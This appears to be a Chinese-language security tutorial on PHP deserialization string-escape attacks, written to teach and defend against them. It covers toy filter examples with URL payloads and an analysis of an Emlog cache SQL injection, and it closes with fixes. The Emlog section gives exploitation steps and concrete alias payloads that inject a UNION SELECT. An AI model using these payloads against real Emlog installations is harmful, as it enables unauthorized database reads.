php反序列化字符串逃逸学习
字数 1719 2025-08-10 08:28:32
PHP反序列化字符串逃逸与SQL注入漏洞分析
一、PHP反序列化基础特性
1. 序列化与反序列化基本概念
在PHP中,序列化是指将数据结构或对象转换为字符串的过程,以便于存储或传输。反序列化则是将序列化后的字符串还原成原始数据结构或对象的过程。
2. PHP反序列化关键特性
- 以
;作为字段的分隔符,以}作为结尾(字符串除外) - 根据长度判断内容
- 必须严格按照序列化规则才能成功反序列化
- 长度不对应时会报错
- 可以反序列化类中不存在的元素
3. 序列化字符串格式
数组示例:
a:3:{s:5:"fruit";s:6:"banana";s:4:"veggie";s:5:"carrot";s:3:"meat";s:4:"beef";}
a:3表示数组有3个元素s:5:"fruit"表示键是长度为5的字符串"fruit"s:6:"banana"表示值是长度为6的字符串"banana"
对象示例:
O:8:"MyClass":3:{s:3:"var";s:5:"value";s:5:"var2";i:123;s:4:"var3";a:0:{}}
O:8:"MyClass"表示对象,类名"MyClass"长度为8:3表示有3个属性
二、PHP反序列化字符串逃逸
1. 基本概念
PHP反序列化字符串逃逸是通过构造语句闭合字符串的过程,利用序列化字符串处理机制中的特性来实现的。主要分为两种情况:
- 过滤后字符串变多(字符增逃逸)
- 过滤后字符变少(字符减逃逸)
2. 字符增逃逸示例
源代码:
function filter($string) {
$filter = '/p/i';
return preg_replace($filter, 'WW', $string);
}
$username = isset($_GET['username']) ? $_GET['username'] : 'purplet';
$age = isset($_GET['age']) ? $_GET['age'] : "10";
$user = array($username, $age);
$r = filter(serialize($user));
var_dump(unserialize($r));
攻击原理:
- 输入
p会被替换为WW,即1个字符变为2个字符 - 需要逃逸16个字符来修改age值
- 构造payload:
?username=pppppppppppppppp";i:1;s:2:"20";}&age=1
解释:
- 16个
p会被替换为32个W,多出16个字符 - 这些多出的字符用于"吃掉"后续的序列化字符串
";i:1;s:2:"20";}会被正确解析为新的序列化内容
3. 字符减逃逸示例
源代码:
function filter($string) {
$filter = '/pp/i';
return preg_replace($filter, 'W', $string);
}
$username = isset($_GET['username']) ? $_GET['username'] : 'ppurlet';
$age = isset($_GET['age']) ? $_GET['age'] : "10";
$user = array($username, $age);
$r = filter(serialize($user));
var_dump(unserialize($r));
攻击原理:
- 输入
pp会被替换为W,即2个字符变为1个字符 - 需要吞噬10个字符来修改age值
- 构造payload:
?username=pppppppppppppppppppppppppp&age=1";i:1;s:2:"20";}
解释:
- 每2个
p变为1个W,相当于逃逸1位 - 需要逃逸10个字符,因此需要20个
p - 吞噬掉部分序列化字符串后,
";i:1;s:2:"20";}会被正确解析
三、Emlog漏洞分析
1. 漏洞环境
- 影响版本:v.2.1.15及更早版本
- 漏洞位置:缓存机制中的反序列化处理
2. 缓存机制分析
Emlog的缓存机制:
- 将网站运行数据以PHP序列化方式写入缓存文件
- 缓存文件以
<?php exit;//开头防止直接访问 - 读取时去除
<?php exit;//后反序列化
关键代码:
// 写入缓存
function cacheWrite($cacheName, $cacheValue) {
$cacheFile = $this->cachePath . $cacheName . '.php';
$cacheData = '<?php exit;//' . serialize($cacheValue);
file_put_contents($cacheFile, $cacheData);
}
// 读取缓存
function readCache($cacheName) {
$cacheFile = $this->cachePath . $cacheName . '.php';
$cacheData = file_get_contents($cacheFile);
$cacheData = str_replace('<?php exit;//', '', $cacheData);
return unserialize($cacheData);
}
3. 漏洞利用步骤
- 注册账户并登录
- 发表两篇文章并保存至草稿箱
- 获取文章ID(如1和2)
- 构造恶意payload
- 修改ID为2的文章,设置alias为:
";s:93:"0 union select 1,user(),'1'1,-1,'blog',1,1,0,'n','n','n','y','y's:1:"x - 修改ID为1的文章,设置alias为:
<?php exit;//
- 修改ID为2的文章,设置alias为:
- 触发缓存反序列化
- 最终缓存文件内容:
<?php exit;//a:2:{i:1;s:13:"<?php exit;//";i:2;s:109:"";s:93:"0 union select 1,user(),'1'1,-1,'blog',1,1,0,'n','n','n','y','y's:1:"x";} - 读取时
<?php exit;//被替换为空,导致字符串逃逸
- 最终缓存文件内容:
- SQL注入执行
- 反序列化后的字符串被代入SQL查询
4. 漏洞链分析
- 写入缓存:
mc_logalias()方法将文章别名序列化后写入缓存 - 数据库操作:
updateArticleCache()更新缓存 - SQL注入点:
displayContent()函数中$logalias_cache被直接代入SQL语句 - 触发执行:通过访问特定页面触发缓存读取和SQL执行
四、漏洞修复建议
- 输入过滤:对用户输入的alias进行严格过滤
- 序列化处理:避免直接将用户可控数据序列化
- 缓存机制改进:
- 使用JSON而非PHP序列化
- 添加完整性校验
- SQL防护:使用预处理语句而非直接拼接SQL
- 特殊字符处理:对
<?php exit;//等特殊字符串进行转义
五、总结
本漏洞利用PHP反序列化字符串逃逸特性,结合Emlog的缓存机制,最终实现SQL注入。关键点在于:
- 理解PHP序列化/反序列化机制
- 掌握字符增/减逃逸原理
- 分析目标系统的数据处理流程
- 构造精确的逃逸payload
这种类型的漏洞在PHP应用中较为常见,开发者应特别注意序列化数据的处理和用户输入的过滤。